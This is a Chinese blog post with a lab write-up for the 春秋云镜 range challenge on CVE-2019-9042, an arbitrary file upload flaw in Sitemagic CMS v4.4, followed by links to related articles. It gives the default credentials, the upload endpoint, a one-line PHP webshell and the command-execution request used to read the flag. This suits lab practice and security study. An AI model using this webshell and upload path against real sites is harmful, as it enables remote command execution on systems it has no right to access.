春秋云镜 CVE-2019-9042

最新推荐文章于 2024-07-25 11:30:29 发布
最新推荐文章于 2024-07-25 11:30:29 发布
阅读量175 收藏 1
点赞数
分类专栏： 靶场 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_22002773/article/details/132334598
版权

春秋云镜 CVE-2019-9042 Sitemagic CMS v4.4 任意文件上传漏洞

靶标介绍

Sitemagic CMS v4.4 index.php?SMExt=SMFiles 存在任意文件上传漏洞，攻击者可上传恶意代码执行系统命令。

启动场景

在这里插入图片描述

漏洞利用

login进入登陆界面admin/admin
在这里插入图片描述
访问http://eci-2zebi1tekprj0n55bkep.cloudeci1.ichunqiu.com/index.php?SMExt=SMFiles上传webshell

<?php system($_GET[cmd]);?>

在这里插入图片描述
执行命令cat /flag
http://eci-2zebi1tekprj0n55bkep.cloudeci1.ichunqiu.com/files/images/shell.php?cmd=cat%20/flag
在这里插入图片描述
得到flag

flag{fc6d7559-dd95-475d-bb94-baffaa707743}

isbug0
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2019-5418漏洞复现
千寻的博客
01-07 4555
CVE-2019-5418漏洞复现 0x00 漏洞介绍 Ruby on Rails是一个web应用程序框架，是相对较新的web应用程序框架 构建在Ruby语言上 0x01漏洞原理 在控制器中通过render file形式来渲染应用之外的视图，且会根据用户传入的Accept头来确定文件具体位置。 通过传入Accept: …/…/…/…/…/…/…/…/etc/passwd{{({{闭合模板路径)头来...
春秋云镜:CVE-2019-9042(Sitemagic CMS v4.4 任意文件上传漏洞)
m0_65712192的博客
08-23 713
Sitemagic CMS v4.4 index.php?SMExt=SMFiles 存在任意文件上传漏洞，攻击者可上传恶意代码执行系统命令。
cat 刷题经历(命令执行)
qq_62046696的博客
07-04 698
目录我幽默码ENV 命令执行之我在干什么 命令执行之我是谁命令执行之我在哪webshell 无字符Webshell打开源码，主页面啥都没有一个棋盘， 看#1部分，上面一行是顺序，下面一行是对应棋盘的坐标，比如null对应?，z1对应的字母是o位置是2，以此类推结果是?source，就想到这个应该是给url后面加一个?source但是传什么不清楚,那就随便传个?source=1看看,结果出现了源码，源码如下: 这时候，感觉唯一可以利用的就是else后面的$a = $_POST['a'];
【工具分享】Pigat v2.0正式发布
TeamsSix 的 CSDN 空间
03-21 869
???? 前言 Pigat（Passive Intelligence Gathering Aggregation Tool）被动信息收集聚合工具，该工具通过爬取目标URL在第三方网站比如备案查询网站、子域名查询网站的结果来对目标进行被动信息收集。 开发此工具的初衷就是平时在使用一些第三方的网站进行目标信息收集的时候，往往需要利用多个网站进行目标信息的收集，比如通过在线的Whois信息查询网站、在线的CM...
linux系统漏洞修复2019,Linux中 OpenSSH 输入验证错误漏洞(CVE-2019-16905) 修复解决方案...
weixin_39935388的博客
05-16 2615
解决方案：redhat6、7与centos6、7版本升级到openssh8.1版本与openssl-1.1.1自动化脚本，解决linuxOpenSSH输入验证错误漏洞(CVE-2019-16905)解决步骤：1、附件2、解压升级包tar --no-same-owner -zxvf zlib-1.2.11.tar.gztar --no-same-owner -zxvf openssh-8.3p1.t...
春秋云镜 CVE-2019-12422
qq_22002773的博客
08-28 370
春秋云镜 CVE-2019-12422
春秋云镜 CVE-2019-16113
qq_22002773的博客
08-24 824
春秋云镜 CVE-2019-16113
春秋云镜 CVE-2019-2725
qq_22002773的博客
08-22 189
春秋云镜 CVE-2019-2725
[春秋云镜]CVE-2019-9042
niubi707的博客
12-03 5361
Sitemagic CMS v4.4 index.php?SMExt=SMFiles 存在任意文件上传漏洞，攻击者可上传恶意代码执行系统命令
CVE-2019-11708：针对Windows 64位版本的Firefox的完整漏洞利用链（CVE-2019-11708和CVE-2019-9810）
02-04
CVE-2019-11708和CVE-2019-9810的全链漏洞利用 这是针对Windows 64位Firefox的完整的浏览器入侵漏洞利用链（CVE-2019-11708和CVE-2019-9810）。 它使用CVE-2019-9810在内容流程以及父流程中获取代码执行，并使用CVE-...
sudo-cve-2019-18634:CVE-2019-18634的概念证明
03-21
**sudo CVE-2019-18634 概念证明** sudo（Superuser DO）是Linux和Unix系统中的一个命令行工具，允许普通用户以超级用户（root）或其他用户的身份执行命令，通常用于管理系统。这个概念证明是关于CVE-2019-18634...
cve-2019-11477.rar
06-20
此漏洞只支持本地检测，不支持远程检测模式，检测成功率很高，可以排查网络资产中是否存在此问题，避免此漏洞造成的DoS 问题
Jackson 最新反序列化漏洞(CVE-2019-14361和CVE-2019-14439)
05-08
Jackson官方github仓库发布安全issue，涉及漏洞CVE-2019-14361和CVE-2019-14439，均是针对CVE-2019-12384漏洞的绕过利用方式，当用户提交一个精心构造的恶意JSON数据到WEB服务器端时，可导致远程任意代码执行。...
科普文：Linux系统安全加固指南
为无为，事无事，味无味。
07-25 1064
本指南仅关注安全性和隐私性，而不关注性能，可用性或其他内容。列出的所有命令都将需要root特权。以“$”符号开头的单词表示一个变量，不同终端之间可能会有所不同。选择一个好的Linux发行版有很多因素。避免分发冻结程序包，因为它们在安全更新中通常很落后不使用与Systemd机制的发行版。Systemd包含许多不必要的攻击面；它尝试做的事情远远超出了必要，并且超出了初始化系统应做的事情。使用musl作为默认的C库。
人工智能：大语言模型提示注入攻击安全风险分析报告下载
cybtec的博客
07-25 1104
大语言模型提示注入攻击安全风险分析报告下载
大语言模型（LLM）安全测评基准V1.0 发布版下载
cybtec的博客
07-25 852
大语言模型（LLM）安全测评基准V1.0 发布版下载
【论文速读】| MoRSE：利用检索增强生成技术填补网络安全专业知识的空白
最新发布
m0_73736695的博客
07-25 522
本文介绍了MoRSE（Mixture of RAGs Security Experts），这是首个专为网络安全设计的AI聊天机器人。MoRSE利用两个并行工作的RAG（检索增强生成）系统，从多维网络安全背景中检索并组织信息。
春秋云镜CVE-2022-0543
09-04
根据提供的引用内容，春秋云镜CVE-2022-0543指的是Apache Spark的命令注入漏洞（CVE-2022-33891）。这个漏洞影响的版本包括Apache Spark version 3.1.1和Apache Spark version >= 3.3.0。 官方建议升级到安全版本来...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值